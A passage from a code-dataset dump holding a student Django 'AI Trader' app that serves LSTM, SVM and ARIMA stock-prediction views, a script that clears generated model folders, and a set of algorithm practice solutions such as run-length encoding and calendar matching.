0.574226438999176, "avg_line_length": 33.50732421875, "blob_id": "1afad17e01ea66acdcee3c96f7a34dcd0777020f", "content_id": "77a59aa3c2aa8a157a8f9257d47c01bebb834bce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18849, "license_type": "no_license", "max_line_length": 83, "num_lines": 546, "path": "/mysite/aitrader/views.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import loader\n\nfrom yahoo_fin.stock_info import get_data, get_quote_data\nfrom aitrader.myfolder.lstm.trade import maxProfit as maxProfit_lstm\nimport os\nimport datetime\nfrom aitrader.myfolder.svm.trade import maxProfit as maxProfit_svm\nfrom aitrader.myfolder.arima.trade import maxProfit as maxProfit_arima\nfrom aitrader.myfolder.integration.ThreeModelsTrade import \\\n ModelsTrade as maxProfit_integration\nfrom aitrader.myfolder.lstm.lstm_model import run_lstm_model\nfrom aitrader.myfolder.code.data_download import data_download\nfrom aitrader.myfolder.code.data_download_with_date import \\\n data_download_with_date\nfrom aitrader.myfolder.svm.SVM_model import train_SVM_model\nfrom aitrader.myfolder.arima.ARIMA_model import train_ARIMA_model\nimport threading\nimport urllib.request as request\nimport json\nfrom django.http import JsonResponse\n\n\n# Create your views here.\n\ndef index(request):\n context = {'context': \"You're looking\"}\n return render(request, 'aitrader/index.html', context)\n\n\ndef select_stock(request):\n # ticker_list = ['600519.SS',\n # '601398.SS',\n # '600036.SS',\n # '601288.SS',\n # '601318.SS',\n # '601857.SS',\n # '601988.SS',\n # '601628.SS',\n # '601888.SS',\n # '603288.SS'\n # ]\n\n path = \"./aitrader/myfolder/lstm\"\n files = os.listdir(path)\n ticker_set_lstm = set()\n for file in files:\n if file[6:] == \".SS.csv\" or file[6:] == \".SZ.csv\":\n if os.path.exists(\n path + \"/\" + file[:-7] + \"/solution/prediction_result.txt\"):\n # SVM may fail to generate models\n ticker_set_lstm.add(file[:9])\n\n path = \"./aitrader/myfolder/svm\"\n files = os.listdir(path)\n ticker_set_svm = set()\n for file in files:\n if file[6:] == \".SS.csv\" or file[6:] == \".SZ.csv\":\n if os.path.exists(\n path + \"/\" + file[:-7] + \"/solution/prediction_result.txt\"):\n # SVM may fail to generate models\n ticker_set_svm.add(file[:9])\n\n path = \"./aitrader/myfolder/arima\"\n files = os.listdir(path)\n ticker_set_arima = set()\n for file in files:\n if file[6:] == \".SS.csv\" or file[6:] == \".SZ.csv\":\n if os.path.exists(\n path + \"/\" + file[:-7] + \"/solution/prediction_result.txt\"):\n # SVM may fail to generate models\n ticker_set_arima.add(file[:9])\n\n ticker_list = ticker_set_lstm | ticker_set_svm | ticker_set_arima\n\n sticker_obj_list = []\n for ticker in ticker_list:\n tmp = {'ticker': ticker, 'longName': get_quote_data(ticker)['longName']}\n path = \"./aitrader/myfolder/svm\"\n f = open(path + \"/\" + ticker + \"_latest_date.txt\", \"r\")\n latest_date = f.read()\n f.close()\n tmp['latest_date'] = latest_date\n\n if ticker in ticker_set_lstm:\n tmp['lstm'] = True\n else:\n tmp['lstm'] = False\n if ticker in ticker_set_svm:\n tmp['svm'] = True\n else:\n tmp['svm'] = False\n if ticker in ticker_set_arima:\n tmp['arima'] = True\n else:\n tmp['arima'] = False\n sticker_obj_list.append(tmp)\n\n context = {'sticker_obj_list': sticker_obj_list}\n return render(request, 'aitrader/select_stock.html', context)\n\n\ndef train_stock(request):\n # ticker_list = ['600519.SS',\n # '601398.SS',\n # '600036.SS',\n # '601288.SS',\n # '601318.SS',\n # '601857.SS',\n # '601988.SS',\n # '601628.SS',\n # '601888.SS',\n # '603288.SS'\n # ]\n\n path = \"./aitrader/myfolder/lstm\"\n files = os.listdir(path)\n ticker_set_lstm = set()\n for file in files:\n if file[6:] == \".SS.csv\" or file[6:] == \".SZ.csv\":\n if os.path.exists(\n path + \"/\" + file[:-7] + \"/solution/prediction_result.txt\"):\n # SVM may fail to generate models\n ticker_set_lstm.add(file[:9])\n\n path = \"./aitrader/myfolder/svm\"\n files = os.listdir(path)\n ticker_set_svm = set()\n for file in files:\n if file[6:] == \".SS.csv\" or file[6:] == \".SZ.csv\":\n if os.path.exists(\n path + \"/\" + file[:-7] + \"/solution/prediction_result.txt\"):\n # SVM may fail to generate models\n ticker_set_svm.add(file[:9])\n\n path = \"./aitrader/myfolder/arima\"\n files = os.listdir(path)\n ticker_set_arima = set()\n for file in files:\n if file[6:] == \".SS.csv\" or file[6:] == \".SZ.csv\":\n if os.path.exists(\n path + \"/\" + file[:-7] + \"/solution/prediction_result.txt\"):\n # SVM may fail to generate models\n ticker_set_arima.add(file[:9])\n\n ticker_list = ticker_set_lstm | ticker_set_svm | ticker_set_arima\n\n sticker_obj_list = []\n for ticker in ticker_list:\n tmp = {'ticker': ticker, 'longName': get_quote_data(ticker)['longName']}\n path = \"./aitrader/myfolder/svm\"\n f = open(path + \"/\" + ticker + \"_latest_date.txt\", \"r\")\n latest_date = f.read()\n f.close()\n tmp['latest_date'] = latest_date\n sticker_obj_list.append(tmp)\n\n context = {'sticker_obj_list': sticker_obj_list}\n return render(request, 'aitrader/train_stock.html', context)\n\n\ndef trade_stock_lstm(request, stock_id):\n if request.method == 'GET':\n context = {'stock_id': stock_id,\n 'longName': get_quote_data(stock_id)['longName']}\n\n return render(request, 'aitrader/trade_stock_lstm.html', context)\n elif request.method == 'POST':\n initial_balance = request.POST['initial_balance']\n url = '/aitrader/trade_run_lstm/' + stock_id + '/' + initial_balance + '/'\n\n return HttpResponseRedirect(url)\n\n\ndef trade_stock_svm(request, stock_id):\n if request.method == 'GET':\n context = {'stock_id': stock_id,\n 'longName': get_quote_data(stock_id)['longName']}\n\n return render(request, 'aitrader/trade_stock_svm.html', context)\n elif request.method == 'POST':\n url = '/aitrader/trade_run_svm/' + stock_id + '/'\n\n return HttpResponseRedirect(url)\n\n\ndef trade_stock_arima(request, stock_id):\n if request.method == 'GET':\n context = {'stock_id': stock_id,\n 'longName': get_quote_data(stock_id)['longName']}\n\n return render(request, 'aitrader/trade_stock_arima.html', context)\n elif request.method == 'POST':\n initial_balance = request.POST['initial_balance']\n url = '/aitrader/trade_run_arima/' + stock_id + '/' + initial_balance + '/'\n\n return HttpResponseRedirect(url)\n\n\ndef trade_stock_integration(request, stock_id):\n if request.method == 'GET':\n context = {'stock_id': stock_id,\n 'longName': get_quote_data(stock_id)['longName']}\n\n return render(request, 'aitrader/trade_stock_integration.html', context)\n elif request.method == 'POST':\n url = '/aitrader/trade_run_integration/' + stock_id + '/'\n\n return HttpResponseRedirect(url)\n\n\ndef trade_run_lstm(request, stock_id, initial_balance):\n stock_id_number_only = stock_id[:-3]\n tmp = maxProfit_lstm(stock_id_number_only, float(initial_balance))\n operations, week_profit, balance = tmp\n\n path = \"./aitrader/myfolder/lstm/\" + stock_id_number_only + \"/figure\"\n files = os.listdir(path)\n figure_list = []\n for file in files:\n if file[:3] == \"day\":\n figure_list.append(file)\n figure_list.sort(key=lambda x: int(x[3:-4]))\n\n n = len(operations)\n\n path = \"./aitrader/myfolder/lstm/\" + stock_id + \"_latest_date.txt\"\n f = open(path, \"r\")\n latest_date = f.read()\n latest_date = datetime.datetime.strptime(latest_date, '%Y-%m-%d')\n f.close()\n\n date_list = findComingTradingDay(latest_date, n)\n\n date_operations_dict = {date_list[i]: operations[i] for i in\n range(len(operations))}\n\n path = \"./aitrader/myfolder/lstm/\" + stock_id_number_only + \"/datapoint\"\n files = os.listdir(path)\n datapoint_dict = {}\n for file in files:\n if file[:3] == \"day\":\n with open(path + '/' + file) as f:\n data = json.load(f)\n datapoint_dict[file[:-5]] = data\n\n future5days = []\n with open(path + '/' + 'future5days.json') as f:\n data = json.load(f)\n future5days = data\n\n context = {'stock_id': stock_id,\n 'stock_id_number_only': stock_id_number_only,\n 'longName': get_quote_data(stock_id)['longName'],\n 'initial_balance': initial_balance,\n 'week_profit': round(week_profit),\n 'balance': round(balance),\n 'figure_list': figure_list,\n 'date_operations_dict': date_operations_dict,\n 'datapoint_dict': datapoint_dict,\n 'future5days': future5days\n }\n return render(request, 'aitrader/trade_run_lstm.html', context)\n\n\ndef trade_run_svm(request, stock_id):\n stock_id_number_only = stock_id[:-3]\n tmp = maxProfit_svm(stock_id_number_only)\n operations = tmp\n\n path = \"./aitrader/myfolder/svm/\" + stock_id_number_only + \"/figure\"\n files = os.listdir(path)\n figure_list = []\n for file in files:\n if file[:11] == \"future5days\":\n figure_list.append(file)\n\n n = len(operations)\n\n path = \"./aitrader/myfolder/svm/\" + stock_id + \"_latest_date.txt\"\n f = open(path, \"r\")\n latest_date = f.read()\n latest_date = datetime.datetime.strptime(latest_date, '%Y-%m-%d')\n f.close()\n\n date_list = findComingTradingDay(latest_date, n)\n\n date_operations_dict = {date_list[i]: operations[i] for i in\n range(len(operations))}\n\n path = \"./aitrader/myfolder/svm/\" + stock_id_number_only + \"/datapoint\"\n future5days = []\n with open(path + '/' + 'future5days.json') as f:\n data = json.load(f)\n future5days = data\n\n context = {'stock_id': stock_id,\n 'stock_id_number_only': stock_id_number_only,\n 'longName': get_quote_data(stock_id)['longName'],\n 'figure_list': figure_list,\n 'date_operations_dict': date_operations_dict,\n 'future5days': future5days\n }\n return render(request, 'aitrader/trade_run_svm.html', context)\n\n\ndef trade_run_arima(request, stock_id, initial_balance):\n stock_id_number_only = stock_id[:-3]\n tmp = maxProfit_arima(stock_id_number_only, float(initial_balance))\n operations, week_profit, balance = tmp\n\n path = \"./aitrader/myfolder/arima/\" + stock_id_number_only + \"/figure\"\n files = os.listdir(path)\n figure_list = []\n for file in files:\n if file[:3] == \"day\":\n figure_list.append(file)\n figure_list.sort(key=lambda x: int(x[3:-4]))\n\n n = len(operations)\n\n path = \"./aitrader/myfolder/arima/\" + stock_id + \"_latest_date.txt\"\n f = open(path, \"r\")\n latest_date = f.read()\n latest_date = datetime.datetime.strptime(latest_date, '%Y-%m-%d')\n f.close()\n\n date_list = findComingTradingDay(latest_date, n)\n\n date_operations_dict = {date_list[i]: operations[i] for i in\n range(len(operations))}\n\n path = \"./aitrader/myfolder/arima/\" + stock_id_number_only + \"/datapoint\"\n future5days = []\n with open(path + '/' + 'future5days.json') as f:\n data = json.load(f)\n future5days = data\n\n context = {'stock_id': stock_id,\n 'stock_id_number_only': stock_id_number_only,\n 'longName': get_quote_data(stock_id)['longName'],\n 'initial_balance': initial_balance,\n 'week_profit': round(week_profit),\n 'balance': round(balance),\n 'figure_list': figure_list,\n 'date_operations_dict': date_operations_dict,\n 'future5days': future5days\n }\n return render(request, 'aitrader/trade_run_arima.html', context)\n\n\ndef trade_run_integration(request, stock_id):\n stock_id_number_only = stock_id[:-3]\n\n tmp = maxProfit_integration(stock_id_number_only)\n operations = tmp[4]\n\n tmp = maxProfit_lstm(stock_id_number_only, float('inf'))\n operations_lstm = tmp[0]\n\n tmp = maxProfit_svm(stock_id_number_only)\n operations_svm = tmp\n\n tmp = maxProfit_arima(stock_id_number_only, float('inf'))\n operations_arima = tmp[0]\n\n n = len(operations)\n path = \"./aitrader/myfolder/svm/\" + stock_id + \"_latest_date.txt\"\n f = open(path, \"r\")\n latest_date = f.read()\n latest_date = datetime.datetime.strptime(latest_date, '%Y-%m-%d')\n f.close()\n date_list = findComingTradingDay(latest_date, n)\n\n date_operations_dict = {date_list[i]: operations[i] for i in\n range(len(operations))}\n\n date_operations_dict_lstm = {date_list[i]: operations_lstm[i] for i in\n range(len(operations_lstm))}\n\n date_operations_dict_svm = {date_list[i]: operations_svm[i] for i in\n range(len(operations_svm))}\n\n date_operations_dict_arima = {date_list[i]: operations_arima[i] for i in\n range(len(operations_arima))}\n\n future5days_lstm = []\n path = \"./aitrader/myfolder/lstm/\" + stock_id_number_only + \"/datapoint\"\n with open(path + '/' + 'future5days.json') as f:\n data = json.load(f)\n future5days_lstm = data\n\n future5days_svm = []\n path = \"./aitrader/myfolder/svm/\" + stock_id_number_only + \"/datapoint\"\n with open(path + '/' + 'future5days.json') as f:\n data = json.load(f)\n future5days_svm = data\n\n future5days_arima = []\n path = \"./aitrader/myfolder/arima/\" + stock_id_number_only + \"/datapoint\"\n with open(path + '/' + 'future5days.json') as f:\n data = json.load(f)\n future5days_arima = data\n\n context = {'stock_id': stock_id,\n 'stock_id_number_only': stock_id_number_only,\n 'longName': get_quote_data(stock_id)['longName'],\n 'date_operations_dict': date_operations_dict,\n 'date_operations_dict_lstm': date_operations_dict_lstm,\n 'date_operations_dict_svm': date_operations_dict_svm,\n 'date_operations_dict_arima': date_operations_dict_arima,\n 'future5days_lstm': future5days_lstm,\n 'future5days_svm': future5days_svm,\n 'future5days_arima': future5days_arima\n }\n return render(request, 'aitrader/trade_run_integration.html', context)\n\n\ndef train_lstm(request, stock_id):\n threading.Thread(target=train_lstm_helper, args=(stock_id, 'lstm')).start()\n context = {'stock_id': stock_id,\n 'longName': get_quote_data(stock_id)['longName']}\n\n return render(request, 'aitrader/train_lstm.html', context)\n\n\ndef train_svm(request, stock_id):\n threading.Thread(target=train_svm_helper, args=(stock_id, 'svm')).start()\n context = {'stock_id': stock_id,\n 'longName': get_quote_data(stock_id)['longName']}\n\n return render(request, 'aitrader/train_svm.html', context)\n\n\ndef train_arima(request, stock_id):\n threading.Thread(target=train_arima_helper,\n args=(stock_id, 'arima')).start()\n context = {'stock_id': stock_id,\n 'longName': get_quote_data(stock_id)['longName']}\n\n return render(request, 'aitrader/train_arima.html', context)\n\n\ndef stock_all(request):\n path = \"./aitrader/myfolder/lstm\"\n files = os.listdir(path)\n ticker_set_lstm = set()\n for file in files:\n if file[6:] == \".SS.csv\" or file[6:] == \".SZ.csv\":\n if os.path.exists(\n path + \"/\" + file[:-7] + \"/solution/prediction_result.txt\"):\n # SVM may fail to generate models\n ticker_set_lstm.add(file[:9])\n\n path = \"./aitrader/myfolder/svm\"\n files = os.listdir(path)\n ticker_set_svm = set()\n for file in files:\n if file[6:] == \".SS.csv\" or file[6:] == \".SZ.csv\":\n if os.path.exists(\n path + \"/\" + file[:-7] + \"/solution/prediction_result.txt\"):\n # SVM may fail to generate models\n ticker_set_svm.add(file[:9])\n\n path = \"./aitrader/myfolder/arima\"\n files = os.listdir(path)\n ticker_set_arima = set()\n for file in files:\n if file[6:] == \".SS.csv\" or file[6:] == \".SZ.csv\":\n if os.path.exists(\n path + \"/\" + file[:-7] + \"/solution/prediction_result.txt\"):\n # SVM may fail to generate models\n ticker_set_arima.add(file[:9])\n\n ticker_list = ticker_set_lstm & ticker_set_svm & ticker_set_arima\n\n data = {\n 'ticker_list': list(ticker_list)\n }\n return JsonResponse(data)\n\n\n# Helper\ndef findComingMonday():\n today = datetime.date.today()\n coming_monday = today + datetime.timedelta(days=-today.weekday(), weeks=1)\n return coming_monday\n\n\ndef findComingTradingDay(latest_date, n):\n date_list = []\n mydate = latest_date + datetime.timedelta(days=1)\n for i in range(n):\n while not stock_is_trade_date(mydate.strftime('%Y-%m-%d')):\n mydate += datetime.timedelta(days=1)\n date_list.append(mydate.strftime('%Y-%m-%d'))\n mydate = mydate + datetime.timedelta(days=1)\n return date_list\n\n\ndef stock_get_date_type(query_date):\n \"\"\"\n :param query_date: 2020-10-01\n :return 0: weekday,1: weekend,2: holiday,-1: error\n \"\"\"\n url = 'http://tool.bitefu.net/jiari/?d=' + query_date\n resp = request.urlopen(url, timeout=3)\n content = resp.read()\n if content:\n try:\n day_type = int(content)\n except ValueError:\n return -1\n else:\n return day_type\n\n return -1\n\n\ndef stock_is_trade_date(query_date):\n \"\"\"\n :param query_date: 2020-10-01\n :return: 1: yes,0: no\n \"\"\"\n weekday = datetime.datetime.strptime(query_date, '%Y-%m-%d').isoweekday()\n # if weekday <= 5 and stock_get_date_type(query_date) == 0:\n if weekday <= 5:\n return True\n else:\n return False\n\n\ndef train_lstm_helper(stock_id, model):\n data_download(stock_id, model)\n run_lstm_model(stock_id[:-3])\n\n\ndef train_svm_helper(stock_id, model):\n data_download(stock_id, model)\n train_SVM_model(stock_id[:-3])\n\n\ndef train_arima_helper(stock_id, model):\n data_download_with_date(stock_id, model)\n train_ARIMA_model(stock_id[:-3])\n" }, { "alpha_fraction": 0.5914811491966248, "alphanum_fraction": 0.5914811491966248, "avg_line_length": 26.91891860961914, "blob_id": "0b5de750175014b89c1a3016754a7af5e0537877", "content_id": "a3c3addfe7a5fc04a5957c7eb762ebf8ae4d6189", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1033, "license_type": "no_license", "max_line_length": 60, "num_lines": 37, "path": "/Utility Scripts/Delete_model_folder.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "import os\nimport shutil\n\npath = \"../mysite/aitrader/myfolder/lstm\"\nfiles = os.listdir(path)\n\nfor file in files:\n file_path = path + '/' + file\n if not (file == 'lstm_model.py' or file == 'trade.py'):\n if os.path.isdir(file_path):\n shutil.rmtree(file_path)\n if os.path.isfile(file_path):\n os.remove(file_path)\n\npath = \"../mysite/aitrader/myfolder/svm\"\nfiles = os.listdir(path)\n\nfor file in files:\n file_path = path + '/' + file\n if not (file == 'SVM_model.py' or file == 'trade.py'):\n if os.path.isdir(file_path):\n shutil.rmtree(file_path)\n if os.path.isfile(file_path):\n os.remove(file_path)\n\npath = \"../mysite/aitrader/myfolder/arima\"\nfiles = os.listdir(path)\n\nfor file in files:\n file_path = path + '/' + file\n if not (file == 'ARIMA_model.py' or file == 'trade.py'):\n if os.path.isdir(file_path):\n shutil.rmtree(file_path)\n if os.path.isfile(file_path):\n os.remove(file_path)\n\nprint('Deleting finished')\n" } ]
19
santoshparmarindia/algoexpert
https://github.com/santoshparmarindia/algoexpert
9728054bbebb4e9413fe3c7cb75463b959046191
d71397bef5bf3a76735b2e4ef8ee808919209b8c
88963a0e0ddf47e666a3acd030cfa3050693c2bd
refs/heads/main
2023-06-01T15:44:28.296437
2021-06-15T23:03:19
2021-06-15T23:03:19
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6577423810958862, "alphanum_fraction": 0.6693198084831238, "avg_line_length": 33.54999923706055, "blob_id": "04b0ddebee153be4e107d6a64460dd000ccafe73", "content_id": "1fe801b49221b3208da47040945fde7cb521e55c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1382, "license_type": "no_license", "max_line_length": 79, "num_lines": 40, "path": "/numberOfBinaryTreeTopologies.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# def numberOfBinaryTreeTopologies(n):\n# if n == 0:\n# return 1\n# numberOfTrees =0\n# for leftTreeSize in range(0,n):\n# rightTreeSize = n - 1 - leftTreeSize\n# numberOfTreeLeft = numberOfBinaryTreeTopologies(leftTreeSize)\n# numberOfTreeRight = numberOfBinaryTreeTopologies(rightTreeSize)\n# numberOfTrees+=numberOfTreeLeft*numberOfTreeRight\n# return numberOfTrees\n\n\n# def numberOfBinaryTreeTopologies(n,cache={0:1}):\n# if n in cache:\n# return cache[n]\n# numberOfTrees =0\n# for leftTreeSize in range(0,n):\n# rightTreeSize = n - 1 - leftTreeSize\n# numberOfTreeLeft = numberOfBinaryTreeTopologies(leftTreeSize,cache)\n# numberOfTreeRight = numberOfBinaryTreeTopologies(rightTreeSize,cache)\n# numberOfTrees+=numberOfTreeLeft*numberOfTreeRight\n# cache[n]=numberOfTrees\n# return numberOfTrees\n\ndef numberOfBinaryTreeTopologies(n):\n cache = [1]\n for m in range(1, n+1):\n numberOfTrees = 0\n for leftTreeSize in range(m):\n rightTreeSize = m-1-leftTreeSize\n numberOfLeftTrees = cache[leftTreeSize]\n numberOfRightTrees = cache[rightTreeSize]\n numberOfTrees += numberOfLeftTrees * numberOfRightTrees\n cache.append(\n numberOfTrees\n )\n return cache[n]\n\n\nprint(numberOfBinaryTreeTopologies(3))\n" }, { "alpha_fraction": 0.5595070719718933, "alphanum_fraction": 0.5813380479812622, "avg_line_length": 25.551401138305664, "blob_id": "851a345d50db41978781aa9cc83d7970a2e5e5ec", "content_id": "59e369adc5b5db43fd1ff30b3071a6cf2eafd656", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2840, "license_type": "no_license", "max_line_length": 54, "num_lines": 107, "path": "/arrayOfProducts.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def arrayOfProducts(array):\n if len(array) == 0 or len(array) == 1:\n return array\n result = []\n for i in range(0, len(array)):\n stepBackward = i-1\n stepForward = i+1\n product = 1\n while stepBackward >= 0:\n product *= array[stepBackward]\n stepBackward -= 1\n while stepForward < len(array):\n product *= array[stepForward]\n stepForward += 1\n result.append(product)\n\n return result\n\n\ndef arrayOfProductsV2(array):\n if len(array) == 0:\n return array\n if len(array) == 1:\n return []\n result = []\n for i in range(0, len(array)):\n product = 1\n if i == 0:\n product *= getProduct(array[i+1:])\n elif i == len(array)-1:\n product *= getProduct(array[:i])\n else:\n newProductArray = array[i+1:]+array[:i]\n product *= getProduct(newProductArray)\n\n result.append(product)\n return result\n\n\ndef getProduct(array, accumulator=1):\n for i in range(len(array)):\n accumulator *= array[i]\n return accumulator\n\n\ndef arrayOfProductsV3(array):\n if len(array) == 0:\n return array\n if len(array) == 1:\n return []\n products = [1 for _ in range(len(array))]\n for i in range(len(array)):\n runningProduct = 1\n for j in range(len(array)):\n if i != j:\n runningProduct *= array[j]\n products[i] = runningProduct\n return products\n\n\ndef arrayOfProductsV4(array):\n if len(array) == 0:\n return array\n if len(array) == 1:\n return []\n products = [1 for _ in range(len(array))]\n rightProducts = [1 for _ in range(len(array))]\n leftProducts = [1 for _ in range(len(array))]\n\n runningLeftProduct = 1\n for i in range(len(array)):\n leftProducts[i] = runningLeftProduct\n runningLeftProduct *= array[i]\n runningRightProduct = 1\n for i in reversed(range(len(array))):\n rightProducts[i] = runningRightProduct\n runningRightProduct *= array[i]\n\n for i in range(len(array)):\n products[i] = leftProducts[i]*rightProducts[i]\n return products\n\n\n\ndef arrayOfProductsV5(array):\n if len(array) == 0:\n return array\n if len(array) == 1:\n return []\n products = [1 for _ in range(len(array))]\n\n runningLeftProduct = 1\n for i in range(len(array)):\n products[i] = runningLeftProduct\n runningLeftProduct *= array[i]\n runningRightProduct = 1\n for i in reversed(range(len(array))):\n products[i] *=runningRightProduct\n runningRightProduct *= array[i]\n\n return products\n\nprint(arrayOfProducts([5, 1, 4, 2]))\nprint(arrayOfProductsV2([5, 1, 4, 2]))\nprint(arrayOfProductsV3([5, 1, 2, 4]))\nprint(arrayOfProductsV4([5, 1, 2, 4]))\nprint(arrayOfProductsV5([5, 1, 2, 4]))" }, { "alpha_fraction": 0.5646067261695862, "alphanum_fraction": 0.574438214302063, "avg_line_length": 38.55555725097656, "blob_id": "b7f59e69dbd55df440428a13c5ec014b62219ebc", "content_id": "1b7502cebf3e84e7f560d1ea044504ed8fce3786", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1424, "license_type": "no_license", "max_line_length": 74, "num_lines": 36, "path": "/run_length_encoding.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# def runLengthEncoding(string):\n# history = {}\n# result = \"\"\n# for i in range(len(string)):\n# if string[i] not in history and len(history.keys()) != 0:\n# for k, v in history.items():\n# result += str(v)+k\n# history.clear()\n# if string[i] not in history:\n# history[string[i]] = 1\n# else:\n# if string[i] in history and history[string[i]] < 9:\n# history[string[i]] += 1\n# elif string[i] in history and history[string[i]] == 9:\n# result += str(history[string[i]])+string[i]\n# history[string[i]] = 1\n# if i >= len(string)-1:\n# for k, v in history.items():\n# result += str(v)+k\n# return result\n\ndef runLengthEncoding(string):\n encodedStringsCharacters = []\n currentRunLength = 1\n for i in range(1, len(string)):\n previousCharacter = string[i-1]\n currentCharacter = string[i]\n if currentCharacter != previousCharacter or currentRunLength == 9:\n encodedStringsCharacters.append(str(currentRunLength))\n encodedStringsCharacters.append(previousCharacter)\n currentRunLength = 0\n currentRunLength += 1\n\n encodedStringsCharacters.append(str(currentRunLength))\n encodedStringsCharacters.append(string[len(string)-1])\n return \"\".join(encodedStringsCharacters)\n" }, { "alpha_fraction": 0.5955096483230591, "alphanum_fraction": 0.645759105682373, "avg_line_length": 32.807228088378906, "blob_id": "fc8f64b1dfa35d8042fefe5780ea5307bc73fedb", "content_id": "5e54363b3af6603fba4a4a07642259cf97681d60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2806, "license_type": "no_license", "max_line_length": 96, "num_lines": 83, "path": "/calendarMatching.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "import pprint\ndef calendarMatching(calendar1, dailyBounds1, calendar2, dailyBounds2, meetingDuration):\n updatedCalendar1 = updatedCalendar(calendar1, dailyBounds1)\n updatedCalendar2 = updatedCalendar(calendar2, dailyBounds2)\n mergedCalendar = mergeCalendar(updatedCalendar1, updatedCalendar2)\n flattenedCalendar = flattenCalendar(mergedCalendar)\n return getMatchingAvailabilites(flattenedCalendar,meetingDuration)\n\n\ndef timeToMinutes(time: str) -> tuple:\n hours, minutes = list(map(int, time.split(\":\")))\n return hours*60 + minutes\n\n\n\n\ndef updatedCalendar(calendar: list, dailyBounds: list) -> list:\n updatedCalendar = calendar[:]\n updatedCalendar.insert(0, ['0:00', dailyBounds[0]])\n updatedCalendar.append([dailyBounds[1], '23:59'])\n return list(map(lambda m: [timeToMinutes(m[0]), timeToMinutes(m[1])], updatedCalendar))\n\n\ndef mergeCalendar(calendar1, calendar2):\n merged = []\n i, j = 0, 0\n while i < len(calendar1) and j < len(calendar2):\n meeting1, meeting2 = calendar1[i], calendar2[j]\n if meeting1[0] <= meeting2[0]:\n merged.append(meeting1)\n i += 1\n else:\n merged.append(meeting2)\n j += 1\n\n while i < len(calendar1):\n merged.append(calendar1[i])\n i += 1\n while j < len(calendar2):\n merged.append(calendar2[j])\n j += 1\n return merged\n\n\ndef flattenCalendar(calendar):\n flattened = [calendar[0][:]]\n for i in range(1, len(calendar)):\n currentMeeting = calendar[i]\n previousMeeting = flattened[-1]\n currentStart, currentEnd = currentMeeting\n previousStart, previousEnd = previousMeeting\n if previousEnd >= currentStart:\n newPreviousMeeting = [previousStart, max(previousEnd, currentEnd)]\n flattened[-1] = newPreviousMeeting\n else:\n flattened.append(currentMeeting[:])\n return flattened\n\ndef getMatchingAvailabilites(calendar,meetingDuration):\n matchingAvailabilites=[]\n for i in range(1,len(calendar)):\n start = calendar[i-1][1]\n end = calendar[i][0]\n availabilityDuration=end-start\n if availabilityDuration>=meetingDuration:\n matchingAvailabilites.append([start,end])\n return list(map(lambda m: [minutesToTime(m[0]), minutesToTime(m[1])],matchingAvailabilites))\n\ndef minutesToTime(minutes):\n hours=minutes//60\n mins = minutes % 60\n hoursString=str(hours)\n minuteString= '0'+str(mins) if mins < 10 else str(mins)\n return hoursString +':'+minuteString\n\npprint.pprint(calendarMatching(\n [[\"9:00\", \"10:30\"], [\"12:00\", \"13:00\"], [\"16:00\", \"18:00\"]],\n [\"9:00\", \"20:00\"],\n [[\"10:00\", \"11:30\"], [\"12:30\", \"14:30\"], [\n \"14:30\", \"15:00\"], [\"16:00\", \"17:00\"]],\n [\"10:00\", \"18:30\"],\n 30\n),indent=10)\n" }, { "alpha_fraction": 0.5546786785125732, "alphanum_fraction": 0.5715896487236023, "avg_line_length": 22.972972869873047, "blob_id": "80be4baeea3930b0a46eef43ce8bcc03d8124771", "content_id": "7403cf12b2cf7db5bd8621f5d270832d6437b351", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 887, "license_type": "no_license", "max_line_length": 64, "num_lines": 37, "path": "/sortStack.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# def sortStack(stack):\n# return sort(stack)\n# def sort(stack):\n# if len(stack)==0 or len(stack)==1:\n# return stack\n# top=stack.pop()\n# sort(stack) # ([4,1]) c=3, ([4]) c=1 , ([]) c=4 r=NAN [4]\n# if len(stack)==0 :\n# stack.append(top)\n# return\n# insert(stack,top)\n# \treturn stack\n#\n# def insert(stack,value):\n# if len(stack)==0 or stack[-1]<value:\n# stack.append(value)\n# return\n# top=stack.pop()\n# insert(stack, value)\n# stack.append(top)\n\n\ndef sortStack(stack):\n if len(stack)==0:\n return stack\n top = stack.pop()\n sortStack(stack)\n insertInSortedOrder(stack,top)\n return stack\n\ndef insertInSortedOrder(stack,value):\n if len(stack)==0 or stack[-1]<=value:\n stack.append(value)\n return\n top=stack.pop()\n insertInSortedOrder(stack, value)\n stack.append(top)\n" }, { "alpha_fraction": 0.613937258720398, "alphanum_fraction": 0.6334494948387146, "avg_line_length": 30.88888931274414, "blob_id": "b9ef2f8c9411ff334263af9421002edebe180741", "content_id": "eb080ee1952727197f2b42dacc7614f75d9c238f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1435, "license_type": "no_license", "max_line_length": 99, "num_lines": 45, "path": "/longestPalindromicSubstring.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def isPalindromic(string):\n left = 0\n right = len(string)-1\n while left <= right:\n if string[left] != string[right]:\n return False\n left+=1\n right-=1\n return True\n\n# O(N^3)time | O(1) space\ndef longestPalindromicSubstring(string):\n currentLongestSubstring = \"\"\n slow = 0\n while slow < len(string):\n fast = slow\n while fast < len(string):\n currentString = string[slow:fast+1]\n print(currentString)\n if isPalindromic(currentString) and len(currentLongestSubstring) <= len(currentString):\n currentLongestSubstring = currentString\n fast += 1\n slow += 1\n return currentLongestSubstring\n\n# 